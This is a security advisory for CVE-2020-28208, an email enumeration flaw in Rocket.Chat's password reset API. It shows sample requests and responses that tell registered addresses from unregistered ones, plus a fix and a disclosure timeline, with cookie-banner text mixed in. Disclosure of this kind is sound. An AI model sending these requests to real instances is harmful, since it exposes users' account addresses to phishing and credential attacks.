

Advisory ID: TRSA-2010-01

Advisory version: 1.2

Advisory status: Public

Advisory URL: <https://trovent.io/security-advisory-2010-01>

Affected product: Web application Rocket.Chat

Affected version: <= 3.9.1

Vendor: Rocket.Chat Technologies Corp.. <https://rocket.chat>

Credits: Trovent Security GmbH, Nick Decker, Stefan Pietsch

Trovent Security GmbH discovered an email address enumeration vulnerability in the password reset function of the chat application Rocket.Chat. This vulnerability lets an unauthorized user enumerate registered email addresses on the instance of Rocket.Chat.

Severity: Medium

CVSS Score: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVE ID: CVE-2020-28208

CWE ID: CWE-204

Sample HTTP request sent with a registered email address:

```
POST /api/v1/method.callAnon/sendForgotPasswordEmail HTTP/1.1
Host: localhost:3000
Content-Length: 122
Accept: */*
Content-Type: application/json

{"message": "{\"msg\": \"method\\\", \"method\": \"sendForgotPasswordEmail\\\", \"params\":  
[\"positive@test.de\"], \"id\": \"3\"]\"}
```

The server response to a valid email address:

```
HTTP/1.1 200 OK
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
X-Instance-ID: DQDfuEfNldbZr3zYH
Cache-Control: no-store
Pragma: no-cache
content-type: application/json
Vary: Accept-Encoding
```

Cookie Zustimmung

Date: Tue, 03 Nov 2020 12:01:25 GMT

```
Content-Length: 78
{"message": "{\\\"msg\\\":\\\"result\\\",\\\"id\\\":\\\"3\\\",\\\"result\\\":true}\\\",\\\"success\\\":true}
```

Akzeptieren

Sample HTTP request sent with a non registered email address:

Ablehnen

Einstellungen ansehen

[Datenschutz](#) [Impressum](#)

```
POST /api/v1/method.callAnon/sendForgotPasswordEmail HTTP/1.1
Host: localhost:3000
Content-Length: 119
Accept: /
Content-Type: application/json
{"message":{"\msg\":"method\","method\":"sendForgotPasswordEmail\","params\":[\false@test.de\","id\":"3\"]}}
```

The server response to an invalid email address:

```
HTTP/1.1 200 OK
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
X-Instance-ID: DQDfuEfNLdbZr3zYH
Cache-Control: no-store
Pragma: no-cache
content-type: application/json
Vary: Accept-Encoding
Date: Tue, 03 Nov 2020 12:03:08 GMT
Connection: keep-alive
Content-Length: 79
{"message":{"\msg\":"result\","id\":"3\","result\":"false\","success\":"true"}}
```

Solution / Workaround

Ensure the application returns consistent generic server responses independent of the email address entered during the password reset process.

Fixed in Rocket.Chat version 3.9.2, verified by Trovent.

History

- 2020-10-27: Vulnerability found
- 2020-11-03: Advisory created and CVE ID requested
- 2020-11-06: Vendor contacted and informed about planned disclosure date
- 2020-11-06: Vendor confirmed vulnerability, working on a fix
- 2021-01-07: Advisory published
- 2021-01-08: Vendor sent us information about fixed version
- 2021-01-13: Updated affected version (thanks @LorenzNickel), verified with 3.9.1

ENGLISCH

Prävention

- Penetration Testing
- Vulnerability Management
- Log-Management

Detektion & Reaktion

- Managed Detection and Response
- Context Engine
- Forensic Appliance

Trovent

Cookie Zustimmung



Wir verwenden Technologien wie Cookies, um Geräteinformationen zu speichern und/oder darauf zuzugreifen. Wenn du diesen Technologien zustimmst, können wir Daten oder eindeutige IDs auf dieser Website verarbeiten. Ohne Zustimmung können bestimmte Merkmale und Funktionen beeinträchtigt werden.

Karriere

Ratgeber

Rechtliches

- Impressum
- Datenschutz



Cookie Zustimmung



Wir verwenden Technologien wie Cookies, um Geräteinformationen zu speichern und/oder darauf zuzugreifen. Wenn du diesen Technologien zustimmst, können wir Daten oder eindeutige IDs auf dieser Website verarbeiten. Ohne Zustimmung können bestimmte Merkmale und Funktionen beeinträchtigt werden.